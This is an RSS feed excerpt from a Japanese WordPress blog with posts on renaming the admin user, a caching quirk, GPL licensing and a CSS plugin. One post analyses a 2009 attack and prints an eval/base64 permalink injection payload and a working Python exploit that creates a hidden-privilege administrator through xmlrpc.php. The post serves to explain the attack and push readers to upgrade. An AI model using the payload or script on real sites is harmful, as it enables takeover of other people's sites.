		<description><![CDATA[WordPress の管理者のユーザー名はデフォルトで admin になっています。このデフォルトのユーザー名、初期化時に変更できませんし後からも普通の方法では変えられなかったりします。ユーザー名分かっちゃえばクラッキングは半分以上終わってるようなものだったりしますので、セキュリティ的にあまり好ましい動作ではないです。 さくらも WordPress 使い始めてすぐ気になって、どこかのブログに書いて... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/1407">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>WordPress の管理者のユーザー名はデフォルトで admin になっています。このデフォルトのユーザー名、初期化時に変更できませんし後からも普通の方法では変えられなかったりします。ユーザー名分かっちゃえばクラッキングは半分以上終わってるようなものだったりしますので、セキュリティ的にあまり好ましい動作ではないです。</p>
<p>さくらも WordPress 使い始めてすぐ気になって、どこかのブログに書いてた MySQL のテーブル直接更新する方法でユーザー名変えたりしました。どのブログに書いてあったのか忘れたんでリンク貼らないけどw</p>
<p style="margin-top:2em">で、これもっと簡単にする方法無いかなと思って<a href="http://wordpress.org/extend/plugins/">プラグインディレクトリ</a>を漁ってたら良さげなのが見つかりましたのでご紹介したいと思います。こちらの <a href="http://wordpress.org/extend/plugins/admin-renamer-extended/">WordPress › Admin renamer extended « WordPress Plugins</a> がそれです。</p>
<p>Admin renamer extended プラグインをインスコすると、簡単に管理者ユーザーのユーザー名を変更することができます。</p>
<p style="margin-top:2em">では使い方のご説明w</p>
<p>まず<a href="http://wordpress.org/extend/plugins/admin-renamer-extended/">こちら</a>からプラグインをインスコしてください。サイドバーに Admin renamer extended というメニューが追加されます。メニューを見つけたらおもむろにクリック。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2009/11/plugin.png" alt="plugin" title="plugin" width="155" height="265" class="alignnone size-full wp-image-1408 capture" /></p>
<p style="margin-top:2em">クリックしたらこちらの画面が開きます。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2009/11/admin_renamer_extended.png" alt="Admin renamer extended" title="Admin renamer extended" width="460" height="172" class="alignnone size-full wp-image-1409 capture" /></p>
<p>こちらの画面には管理者権限のユーザー名が表示されます。テキストエリアに新しいユーザー名を入力して Update をクリックすると更新されます。</p>
<p>ちなみに登録されてる管理者権限ユーザーは全部ここに表示されるみたいですが、さくらは一人しか管理者作ってないのでその辺は確認してません。サーセンw</p>
<p style="margin-top:2em">最後に新しいユーザー名を入力して Update を押してください。ユーザー名が更新されます。更新後は強制的にログアウトされてログインページに移動しますので、パスワードを覚えてない方はご注意ください。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2009/11/login.png" alt="login" title="login" width="406" height="326" class="alignnone size-full wp-image-1410 capture" /></p>
<p style="margin-top:3em">さてさて、このように一発で管理者ユーザー名変えれる便利なプラグイン Admin renamer extended なのですが、このプラグイン自体のセキュリティ的な評価というか「ぶっちゃけ大丈夫なのこれ？」みたいなのが気になったりしました。</p>
<p>ブログを書くにあたり、あんまヤバいプラグインをご紹介する訳には参りませんのでソース全部確認してみたのですが、とりあえず問題はないと思います。ただそんな大きいプラグインでもありませんし、PHP 読める方は（この手のセキュリティ関係のコードをインスコする際は）予めご自身で確認されることをお勧めします。</p>
<p>あえて問題と言えば、プラグインインスコすると外部からもインスコール済みなのが分かるので、（将来的にバージョンアップした際も含めて）そのプラグインにセキュリティホールがあると攻撃対象になるのが問題っちゃー問題かもしれません。</p>
<p>ただそれ言い出すとプラグイン自体まったく使えなくなるのでそこまで潔癖にする必要ないと思います。まあ気になる方は以下のブログにプラグインを使わず自力で対処する方法書いてますのでどうぞご覧ください。</p>
<ul>
<li><a href="http://coliss.com/articles/blog/wordpress/2853.html">WordPressのセキュリティをアップする11のポイント | コリス</a></li>
<li><a href="http://blogging.from.tv/wp/2009/01/16/1572">WordPressの「admin」削除は驚くほど手軽 &#8211; カイ士伝</a></li>
<li><a href="http://haaya.net/3170">WordPressでユーザー名『Admin』をやめてみる。 &#8211; HAAYA</a></li>
</ul>
<p style="margin-top:3em">いずれにしてもデフォルトのまま admin で管理者ユーザー使ってるのは問題ありまくリんぐなので、何らかの方法で対応されることをオヌヌメします。</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/1407/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WP Super Cache の微妙なバグ</title>
		<link>http://sakuratan.biz/archives/1277</link>
		<comments>http://sakuratan.biz/archives/1277#comments</comments>
		<pubDate>Wed, 16 Sep 2009 01:18:58 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WP Super Cache]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=1277</guid>
		<description><![CDATA[WP Super Cache を ON にすると、X-Pingback ヘッダが出力されないようです。 X-Pingback ヘッダというのは、Pingback する際のサーバ自動検知に使われる HTTP ヘッダです。Pingback の仕様書読むと、link タグで代替可能なので別に無くても良いみたいです。なので、これはバグじゃないと言われる気もします。 でも Pingback ってほとんど W... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/1277">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>WP Super Cache を ON にすると、X-Pingback ヘッダが出力されないようです。</p>
<p>X-Pingback ヘッダというのは、Pingback する際のサーバ自動検知に使われる HTTP ヘッダです。<a href="http://hixie.ch/specs/pingback/translations/pingback-1.0.jp#TOC2">Pingback の仕様書</a>読むと、link タグで代替可能なので別に無くても良いみたいです。なので、これはバグじゃないと言われる気もします。</p>
<p>でも Pingback ってほとんど WordPress しか実装してないよね。Blogger は実装してんだっけ？<br />
どっちにしても MovableType とかは実装してないから、WordPress は全力でサポートしないといけないんじゃないの？この辺わw</p>
<p>まあ、特に何かする必要のある話ではないので、わざわざブログに書くほどのことでもないと思いますが、何か超微妙な感じなので書いちゃいました。ていうか、この挙動（あえてバグとは書かない）見つけてからしばらく WP Super Cache をオフってたので、何かちょっと損した気分です。</p>
<p>ついでに、Pingback Autodiscovery を実装する側の視点からすると、WordPress がこんな挙動するなら、link タグだけの仕様にしとけと言いたくなりました。</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/1277/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>現在進行中の WordPress に対する攻撃の詳細と再現</title>
		<link>http://sakuratan.biz/archives/1208</link>
		<comments>http://sakuratan.biz/archives/1208#comments</comments>
		<pubDate>Sun, 06 Sep 2009 23:45:54 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[スクリプトインジェクション]]></category>
		<category><![CDATA[セキュリティ]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=1208</guid>
		<description><![CDATA[WordPress フォーラムの http://wordpress.org/support/topic/307518 にて今回の攻撃方法が議論されていました。クラッカーの攻撃手法が解明されていましたのでご説明したいと思います。 と、特に攻撃方法が命名されていなかったので、「現在進行中の WordPress に対する攻撃」のことを今回の攻撃と記載しています…ややこしいので誰かとっとと名前付けてくれな... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/1208">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>WordPress フォーラムの <a href="http://wordpress.org/support/topic/307518">http://wordpress.org/support/topic/307518</a> にて今回の攻撃方法が議論されていました。クラッカーの攻撃手法が解明されていましたのでご説明したいと思います。</p>
<p>と、特に攻撃方法が命名されていなかったので、「現在進行中の WordPress に対する攻撃」のことを<strong>今回の攻撃</strong>と記載しています…ややこしいので誰かとっとと名前付けてくれないかしら？wordpress.org のサイト構造にあまり詳しくないので実際はもう命名されてるのかもしれませんがw</p>
<p>で、先に結論から言いますと、今回の攻撃は権限チェックのバグとスクリプトインジェクションが組み合わされたもののようです。<strong>攻撃が成功すると、ダッシュボードから見えない管理者アカウントが作成されます。また、バックドアが仕込まれることもあるようです。</strong></p>
<h3>攻撃条件</h3>
<p>まず最初に、今回の攻撃が成功するための条件を説明します。攻撃方法に興味の無い方はとりあえずここだけでも見といてください。（で <strong>WordPress を最新版にバージョンアップ</strong>してください。）</p>
<p>で、今回の攻撃は以下の条件を満たした WordPress サイトに対して可能です。</p>
<ul>
<li>WordPress が最新版ではない</li>
<li>新規ユーザーの登録が誰でも可能となっている</li>
</ul>
<p>新規ユーザーの登録は、【設定】→【一般】→【メンバーシップ】の「誰でもユーザー登録ができるようにする」がチェックされている場合可能です。デフォルトは…どうなってたんだろ？wごめん忘れた。個人ブログの場合は登録できないようにしている場合がほとんどだと思いますが、誰でも登録できるようになっていないかご確認ください。もちろん必要があってそうしている場合は別問題ですw</p>
<p>なお、<strong>既に攻撃されている場合は最新版にバージョンアップしても直りません</strong>ので、<a href="http://sakuratan.biz/archives/1204">WordPress のパーマリンクと RSS に関する問題について</a>等を参考にチェック及び対応をしてください。</p>
<h3>攻撃方法</h3>
<p>実際の攻撃は以下の3ステップで行われます。</p>
<ol>
<li>/wp-login.php から新規ユーザーを作成する。</li>
<li>/wp-admin//options-permalink.php にアクセスし、パーマリンクを %&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/ など <a href="http://www.journeyetc.com/uncategorized/wordpress-permalink-rss-problems/">WordPress Permalink &amp; Rss problems</a> で説明されている形式に変更する。</li>
<li>/xmlrpc.php にアクセスし、スクリプトインジェクション可能な XML-RPC コールを行い（ユーザーパネルから見えない隠された）新規管理者を作成する。</li>
</ol>
<p>各ステップの詳細ですが、まず最初の /wp-login.php からのユーザーの作成については、WordPress の設定で元から誰でも新規ユーザーを追加できる状態になっていなければできませんのでこれ自体はセキュリティホールでは無いです。ここにもセキュリティホールがあるかもしれませんが、フォーラムでは特に言及されておらず、こちらで確認した限りではこの辺にセキュリティホールは無さそうでした。無いとは保証できませんがw</p>
<p>次の /wp-admin//options-permalink.php はダッシュボードの【パーマリンク設定】へのアクセスなんですが、デフォルトの新規ユーザー作成は「購読者」権限で行われるので、本来はアクセスできないページへアクセスしてることになります。これが <a href="http://corelabs.coresecurity.com/index.php?action=view&amp;type=advisory&amp;name=WordPress_Privileges_Unchecked"> WordPress Privileges Unchecked in admin.php and Multiple Information Disclosures &#8211; Corelabs</a> で説明されている // バグです。ちなみに購読者権限では /wp-admin/options-permalink.php にはアクセスできず、/wp-admin//options-permalink.php とスラッシュを重ねたときだけアクセスできるようになるのが、このバグのキモです。（つーか最初フォーラムを流し読みしてたとき完全に読み飛ばしてたw）</p>
<p>最後の xmlrpc.php へのアクセスでは wp-include/rewrite.php で定義される url_to_postid 関数が呼び出される XML-RPC を呼び出します。パーマリンクを改造した状態で url_to_postid を呼び出すとスクリプトインジェクションが可能なためです。WordPress 2.7.1 では、url_to_postid 関数が呼び出される XML-RPC コールは wp.newComment、pingback.ping、pingback.extensions.getPingbacks の三つです。このいずれかを呼び出すと、%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/ が  url_to_postid 関数内の eval で実行されスクリプトインジェクションが発生します。このとき Referer HTTP ヘッダに base64 エンコードした PHP コードを含めてリクエストすると、基本的には何でも実行できてしまいます。実際の攻撃ではここで <a href="http://wordpress.org/support/topic/307518/page/2#post-1199642">http://wordpress.org/support/topic/307518/page/2#post-1199642</a> に掲載されているコードが実行され、管理者アカウントが作成されます。</p>
<p>なお実際の攻撃の際、新規作成された管理者は JavaScript によりメニューの【ユーザー】から隠されます。ただこの辺は、今回の攻撃の本質的な部分ではないと思いますのでこの記事では説明しません。興味のある方は <a href="http://wordpress.org/support/topic/307518/page/2#post-1199642">http://wordpress.org/support/topic/307518/page/2#post-1199642</a> からリンクされている http://links.webwordpress.cn/data/shortpart2.txt の中身か <a href="http://wordpress.org/support/topic/307518/page/2#post-1199846">http://wordpress.org/support/topic/307518/page/2#post-1199846</a> をご覧ください。</p>
<p>また攻撃成功後、gpc_ で始まる関数が index.php 等に追加されることがあるようです。実際に追加されるコードについては、<a href="http://www.seanrees.com/2009/09/02/well-an-update-worth-its-salt/">Well, an update worth its salt &#8211; sean’s place</a> をご覧ください。中身はサイトが対策を取った後で再度侵入するためのバックドアのようです。こちらについても冒頭のフォーラムで言及されているのですが、必ず仕込まれる訳ではないなど不明な点が多くこの記事では説明を省略しています。フォーラムにて、<a href="http://wordpress.org/support/topic/307518/page/3#post-1199850">gpc_ で grep をかけろ</a>との助言がありますので、攻撃されているかチェックする際に実行した方が良いと思います。いずれにせよ管理者権限の取得は攻撃の第一段階に過ぎない様です。</p>
<h3>攻撃の再現</h3>
<p>以上の内容で手元の環境（WordPress 2.7.1）に対して攻撃を再現してみました。</p>
<p>まず WordPress を誰でもユーザーを登録できる状態にしてから普通に /wp-login.php へアクセスして適当に新規ユーザーを作成します。このとき作成される新規ユーザーの権限は（元からの設定で）購読者としています。</p>
<p>次に作成したユーザーでログインし、/wp-admin//options-permalink.php へアクセスします。以下のキャプチャではちょっと分かりにくいかもしれませんが、ダッシュボードの下のメニューに【設定】→【パーマリンク設定】が表示されていないにも関わらずパーマリンク設定を開いており、本来権限が無いページにアクセスしているのが判別できると思います。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2009/09/permalink.png" alt="パーマリンク設定" title="パーマリンク設定" width="447" height="361" class="alignnone size-full wp-image-1211 capture" /></p>
<p>アクセス後はカスタム構造を選択し、%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/ を入力します。（その際先頭に / が追加されますので、実際のパーマリンクは /%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/ になります。）</p>
<p>最後に base64 エンコードされた PHP コードを Referer に指定して /xmlrpc.php にアクセスし、pingback.extensions.getPingbacks  XML-RPC コールを呼び出します。前述したとおり wp.newComment や pingback.ping XML-RPC コールでも攻撃可能ですが、pingback.extensions.getPingbacks 以外は設定で無効にできるためこれを呼び出すのが一番確実だと思います。</p>
<p>この部分の攻撃の再現には以下のような Python スクリプトを作って実行しました。実際の攻撃では file_get_contents を使用して外部からテキストファイルを読み込む等、（主に隠された管理者を作成するため）exploit_code に相当する部分がもっと複雑なのですが、あくまで再現が主眼ですので新規ユーザーを管理者権限で作成するところまでにしました。</p>
<pre>
from base64 import standard_b64encode
from xmlrpclib import ServerProxy, Transport, ResponseError

baseuri = 'http://localhost'
exploit_code = "$uid=wp_create_user('test','test');$u=new WP_User($uid);$u->set_role('administrator');exit();"

class MyTransport(Transport):
    def send_user_agent(self, connection):
        Transport.send_user_agent(self, connection)
        connection.putheader('Referer', standard_b64encode(exploit_code))

server = ServerProxy(baseuri + '/xmlrpc.php', transport=MyTransport(use_datetime=0))

try:
    server.pingback.extensions.getPingbacks(
        baseuri + '/%&#038;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&#038;%/')
except ResponseError:
    pass
</pre>
<p>スクリプト実行後、管理者権限を持つユーザー test（パスワードも test）が作成されます。これでこの WordPress に対して何でもできるようになりましたw</p>
<h3>バージョン 2.8.4 の安全性</h3>
<p>攻撃に関わる要素はだいたい把握できたと思いますので、簡単にバージョン 2.8.4 で同じ問題が発生しないか確認してみました。</p>
<p>まず /wp-admin//options-permalink.php へのアクセスですができませんでした。パーマリンクの書き換えができなくなってますので今回の攻撃は 2.8.4 に対して効果は無さそうです。<a href="http://corelabs.coresecurity.com/index.php?action=view&amp;type=advisory&amp;name=WordPress_Privileges_Unchecked"> WordPress Privileges Unchecked in admin.php and Multiple Information Disclosures &#8211; Corelabs</a> では // バグは 2.8.0 にて対策されていると説明されていますので、2.8.4 未満でも問題は発生しないっぽいです。ただ私の方では 2.8.4 しか確認していませんので、とりあえず最新版にしといた方が無難だと言っときます。</p>
<p>次に url_to_postid での eval ですが特に 2.7.1 と変わってないようでした。eval する際に変数展開が必要みたいで、単純に</p>
<pre>eval("\$query = \"" . addslashes($query) . "\";");</pre>
<p>を</p>
<pre>eval("\$query = '" . addslashes($query) . "';");</pre>
<p>に変えるのは今のところ難しいっぽいです。具体例にどうこうって訳ではありませんが、また何か問題発生するかもしれません。</p>
<h3>その他</h3>
<p>xmlrpc.php に対する攻撃は以前のバージョンから継続して試みられているようで、<a href="http://ocaoimh.ie/did-your-wordpress-site-get-hacked/">Did your WordPress site get hacked?</a> にその手法が説明されています。今回の攻撃においても対応のためにとりあえず「xmlrpc.php を消した」人がフォーラムにいました。</p>
<p>またフォーラムにて、WordPress のコアファイルのパーミッションをウェブサーバから更新できないようにしとくべきだとの指摘も見られましたが、スクリプトインジェクション可能な状態でパーミッションを変えてもクラッカーが chmod すればすり抜けられますので、個人的にはセキュリティ面ではあまり寄与しないと思います。（WordPress 本体やプラグインのバグからサイトを守るという意味では重要だと思いますが。）</p>
<h3>プラグイン</h3>
<p>フォーラムの議論の中で、いくつか使えそうなプラグインが推薦されていましたので紹介しておきます。</p>
<ul>
<li><a href="http://ocaoimh.ie/exploit-scanner/">WordPress Exploit Scanner</a></li>
<li><a href="http://www.village-idiot.org/archives/2008/04/16/postlogger-for-wordpress/">postlogger for wordpress</a></li>
</ul>
<p>紹介しといてこんなこと言うのもアレですが、正直両方とも微妙な感じです。何が微妙かは実際に使って体感してね！w</p>
<p>さくら</p>
<p>（追記 同日18:00ごろ）<br />
攻撃方法の xmlrpc.php の説明が分かりにくかったので言い回しを変えました。<br />
TechCrunch の<a href="http://jp.techcrunch.com/archives/20090905security-threat-wordpress-under-attack/">警告！ WordPress旧版は簡単に乗っ取られる―即刻アップデートを</a>にて、WordPressの親会社のAutomatticからこの件に関する発表はまだと報告されています。</p>
<p>（追記 9/8 12:20ごろ）<br />
冒頭の結論に攻撃結果を追加し、バックドアの説明を少し増やしました。</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/1208/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>WordPress と GPL、主にお仕事向けの話</title>
		<link>http://sakuratan.biz/archives/1091</link>
		<comments>http://sakuratan.biz/archives/1091#comments</comments>
		<pubDate>Sun, 02 Aug 2009 03:00:11 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[GPL]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=1091</guid>
		<description><![CDATA[かちびと.net にコメント書いたら続き書いてくれって言われたんでそのお返事ー。 ここまでの話の流れですが、WordPressを使ったWeb制作ビジネスをする方が頭に入れておく1つの事って記事のコメ欄で「WordPress が GPL な点も考慮しといた方が良いと思われ」とコメントしたら、記事書いてくれって返事が届いたところです。 GPL とかの話は長ったらしくなりそうだったのでお茶を濁したつもり... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/1091">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://kachibito.net/">かちびと.net</a> にコメント書いたら続き書いてくれって言われたんでそのお返事ー。</p>
<p>ここまでの話の流れですが、<a href="http://kachibito.net/wordpress/wordpress-business-notes.html">WordPressを使ったWeb制作ビジネスをする方が頭に入れておく1つの事</a>って記事のコメ欄で「WordPress が GPL な点も考慮しといた方が良いと思われ」とコメントしたら、記事書いてくれって返事が届いたところです。</p>
<p>GPL とかの話は長ったらしくなりそうだったのでお茶を濁したつもりだったんだけど、テラブーメランww</p>
<p>まず結論から。</p>
<p><b>GPL は伝搬します。WordPress の改造やテーマ等の制作を請け負う場合、それら成果物は GPL ソフトウェアの派生物となり、派生物は GPL でライセンスしなければなりません。</p>
<p>GPL である以上、制作者はその成果物の第三者による再配布等を制限することはできません。</b></p>
<p>一般的な受託開発においてクライアントは納品された成果物を再販できないように契約するのが普通だと思いますが、GPL ソフトウェアの場合そういった制約を課すことができないことになります。なのでその辺を問題視する会社もあるでしょう、ということです。</p>
<h2>WordPress における GPL 派生物</h2>
<p>WordPress の GPL の適用範囲については、ja.wordpress.org の<a href="http://ja.wordpress.org/2009/07/03/themes-are-gpl-too/">テーマも GPL ライセンス</a>という記事で解説されており、（PHP の）WordPress 関数を使用する箇所は派生物、そうでない箇所は派生物でない、と述べられています。</p>
<p>詳しくはリンク先をご覧頂きたいですが、テーマに含まれる HTML コード辺を介してブラウザから読み込まれるだけの画像や CSS ファイルは GPL でなくても良いという見解のようです。</p>
<p>具体的には以下のケースが WordPress における GPL 派生物だと理解しておけば良いと思います。</p>
<ul style="list-style-type: upper-alpha">
<li>WordPress 本体に変更を加えた</li>
<li>WordPress 関数を使用するテーマやプラグインを作成した</li>
<li>GPL で配布されている既存のテーマやプラグインに変更を加えた</li>
</ul>
<p>これらの WordPress の派生物の制作を請け負った場合、再領布を禁止する等の GPL に違反する条項を盛り込むことはできません。</p>
<p>ちなみに <a href="http://kachibito.net/wordpress/ioix-with-wordpress-theme.html">SEO業者のアイオイクスと海外WordPessテーマ配布に関する問題 &#8211; かちびと.net</a> で指摘されている件については、アイオイクス社の wordpresstheme.jp と そのサイトの WordPress Theme 利用規約は明確に GPL 違反の事例だと言えます。</p>
<p>この件では GPL と両立できないライセンスを新たに付与していることが GPL 違反になります。具体的には WordPress Theme 利用規約の 1. 5. 6. 7. （リンク先参照）を掲げた時点で wordpresstheme.jp は GPL に違反したことになり、アイオイクス社が GPL に従ってそれらテーマを使用する権利はすべて消失します。</p>
<p>なお、かちびと.net 様ではソース改変も問題にされていますが、GPL と共存できないライセンスを付与した時点で既に GPL 違反ですので、改変の有無自体はあまり問題にならないと思います。（改変してようがしてまいがどっちにしろ違反してるので、って意味です。まあ改変しちゃう方が悪質だとは思いますが。）</p>
<h2>資料等</h2>
<p>とりあえず <a href="http://www.opensource.jp/gpl/gpl.ja.html.euc-jp">GNU 一般公衆利用許諾契約書</a>に一通り目を通してから他の資料をあたって頂きたいと思いますが（WordPress メインの記事ですので GPLv2 の和訳のリンクしてます）、より正確なところを知りたい方は <a href="http://www.gnu.org/philosophy/philosophy.ja.html">GNU プロジェクトの思想</a> からリンクされているページを一通りご覧ください。全部読む時間の無い方は以下のページからご覧になると良いと思います。</p>
<ul>
<li><a href="http://www.gnu.org/philosophy/free-sw.ja.html">フリーソフトウェアの定義</a></li>
<li><a href="http://www.gnu.org/philosophy/categories.ja.html">フリーおよびフリーではないソフトウェアの分類</a></li>
<li><a href="http://www.gnu.org/philosophy/selling.ja.html">フリーソフトウェアは売るのも自由</a></li>
<li><a href="http://www.gnu.org/licenses/gpl-faq.ja.html">GNU GPLに関して良く聞かれる質問</a></li>
</ul>
<p>いずれにせよ GPL が制定された目的は、この世のすべてのソフトウェアをフリーにするというフリーソフトウェア運動のためであり、ソフトウェアを独占的な状態に置かないようにするために GPL は設計されています。その辺の背景を理解しておかないと GPL がなぜそうなっているのか理解するのは難しいように思います。</p>
<p>さくら</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/1091/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>External CSS WordPress プラグイン 0.2.1 リリースしました</title>
		<link>http://sakuratan.biz/archives/1069</link>
		<comments>http://sakuratan.biz/archives/1069#comments</comments>
		<pubDate>Mon, 20 Jul 2009 13:26:26 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=1069</guid>
		<description><![CDATA[External CSS WordPress プラグインバージョン 0.2.1 をリリースしました。 0.2.1 未満のバージョンには、バージョンアップ時に編集した CSS ファイルが削除されるバグが含まれているため、プラグインをバージョンアップする前に以下の作業を行ってください。 wp-content/cache/external-css/css ディレクトリを作成する wp-content/p... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/1069">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/extend/plugins/external-css/">External CSS</a> WordPress プラグインバージョン 0.2.1 をリリースしました。</p>
<p>0.2.1 未満のバージョンには、バージョンアップ時に編集した CSS ファイルが削除されるバグが含まれているため、プラグインをバージョンアップする前に以下の作業を行ってください。</p>
<ol>
<li>wp-content/cache/external-css/css ディレクトリを作成する</li>
<li>wp-content/plugins/external-css/css/custom.css を wp-content/cache/external-css/css にコピー</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/1069/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>External CSS WordPress プラグインを公開しました</title>
		<link>http://sakuratan.biz/archives/1059</link>
		<comments>http://sakuratan.biz/archives/1059#comments</comments>
		<pubDate>Mon, 20 Jul 2009 00:14:06 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=1059</guid>
		<description><![CDATA[さくらです♡こんばんわ☆彡 …とか書いちゃったけど、 　　 ｎｎ 　 　&#124; &#124;&#124;&#124;　　　　　　　　予約投稿のﾖｶｰﾝ 　　（;ﾟДﾟ) 　　（●●ﾄﾞｷﾄﾞｷ 　⊂&#124;　）） 　　.∪∪ なんか最近あんまり AA 貼ってないんで、禁断症状でてきたような気がするww まあしょうもない話はこの辺にして本題へw つーことで調子に乗ってまたまた WordPress プラグインを公開してみちゃったりしました。... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/1059">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>さくらです♡こんばんわ☆彡<br />
…とか書いちゃったけど、</p>
<p class="AA">　　 ｎｎ<br />
　 　| |||　　　　　　　　予約投稿のﾖｶｰﾝ<br />
　　（;ﾟДﾟ)<br />
　　（●●ﾄﾞｷﾄﾞｷ<br />
　⊂|　））<br />
　　.∪∪</p>
<p>なんか最近あんまり AA 貼ってないんで、禁断症状でてきたような気がするww<br />
まあしょうもない話はこの辺にして本題へw</p>
<p>つーことで調子に乗ってまたまた WordPress プラグインを公開してみちゃったりしました。</p>
<p>今回公開したのは <a href="http://wordpress.org/extend/plugins/external-css/">External CSS</a> プラグインです。<br />
このプラグインをインスコすると、外部 CSS ファイルを WordPress のダッシュボードから編集できるようになります。</p>
<p>さくらのブログはテンプレの CSS をそれなりに弄くっちゃったりしてるのですが、テンプレ変える前から仕込んであるスタイルとかもあったりして、要は CSS の編集をテンプレと切り離したいので作ったプラグインです。</p>
<p>似たような機能のプラグインに <a href="http://wordpress.org/extend/plugins/custom-user-css/">Custom User CSS</a> や <a href="http://wordpress.org/extend/plugins/simpler-css/">Simpler CSS</a> などがありますが、これらのプラグインは CSS を &lt;style&gt; タグで直接埋め込じゃうのでできれば外部の CSS ファイルに保存するような似たようなプラグイン無いかなーと探していたのですが、無さげだったので作りました。</p>
<p>External CSS ではユーザーが編集した CSS を wp-content/plugins/external-css/css/custom.css に保存します。この CSS ファイルは管理パネルを除いたすべてのブログエントリ（ページ含む）から &lt;link&gt; タグで読み込まれます。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2009/07/externalcss.png" alt="External CSS WordPress Plugin" title="External CSS WordPress Plugin" width="472" height="70" class="alignnone size-full wp-image-1057 capture" /></p>
<p>そのため &lt;style&gt; タグで埋め込む形式のプラグインと比べネットワークやサーバへの負荷が低く、自分用 CSS を結構な量書く方には特に SEO 面で有利なプラグインとなってると思います。</p>
<p>ぜひご利用くださいませ！</p>
<h2>インストール</h2>
<p>以下のいずれかの方法でインストールできます。</p>
<ul>
<li>wordpress.org の <a href="http://wordpress.org/extend/plugins/external-css/">External CSS</a> からプラグインをダウンロードし、Zip ファイルを wp-content/plugins/ ディレクトリで展開</li>
<li>WordPress のプラグイン検索で &quot;External CSS&quot; を検索しインストールリンクをクリック</li>
</ul>
<p>簡単なので、プラグイン検索がオヌヌメです。<br />
インストール後はプラグインを有効にしてください。</p>
<h2>使い方</h2>
<p>インストールすると、ダッシュボードの 外観 (Appearance) メニューに External CSS メニュー項目が追加されます。追加されたメニュー項目をクリックすると、textarea ベースの簡単な CSS エディタが開きますので CSS を入力し保存してください。</p>
<p>保存された内容は wp-content/plugins/external-css/css/custom.css に記録されます。この CSS ファイルはプラグインを有効にした時点から、管理用ページを除くブログのすべてのページから &lt;link&gt; タグにより読み込まれます。</p>
<h2>細かいこと気にしてハゲそうな人向けのプラグインの一部の実装に関する説明</h2>
<p>以下は wp-content/plugins/external-css/custom.css ではなく wp-content/plugins/external-css/css/custom.css に CSS ファイルを保存する実装になってる理由の説明です。プログラム的な話に興味無い方は無視しちゃってください。</p>
<p>このプラグインではファイルの更新をアトミックに行うため、入力された内容を一度テンポラリファイルに保存してから rename 関数を使って CSS ファイルを更新してます。そのため WordPress プログラムから、CSS ファイルを保存するディレクトリに対して書き込める状態になっていないとプラグインが動作しません。</p>
<p>従って wp-content/plugins/external-css/custom.css に保存しようとすると wp-content/plugins/external-css ディレクトリに WordPress から書き込めるようにする必要があるのですが、それは仕様的に何か微妙なため、wp-content/plugins/external-css/css ディレクトリに CSS ファイルを作成するようにしてます。</p>
<p>あと将来的に編集できるファイルを増やそうかなーとか思ってるのですが、その時プラグインディレクトリを直接更新するのが問題になりそうなの</p>
<p class="AA">　　　　　　　/ﾆＹﾆヽ<br />
　 　(ヽ　 　/（ ﾟ )( ﾟ ）ヽ　　　/)<br />
　　(((i ) ／::::⌒｀´⌒::::＼ 　( i)))　　でっていうｗｗｗｗｗｗｗｗ<br />
　／∠_|　,-）＿＿＿（-，|＿ゝ ＼<br />
( ＿＿＿､　　|-┬-|　　　　,＿＿ ）<br />
　　　　|　　　　`ー&#8217;´　　 /´<br />
　　　　|　　　　　　　　　/</p>
<p>理由もあります。</p>
<p>まあ将来どうなるか、さくら17才だしまだ考えてないw</p>
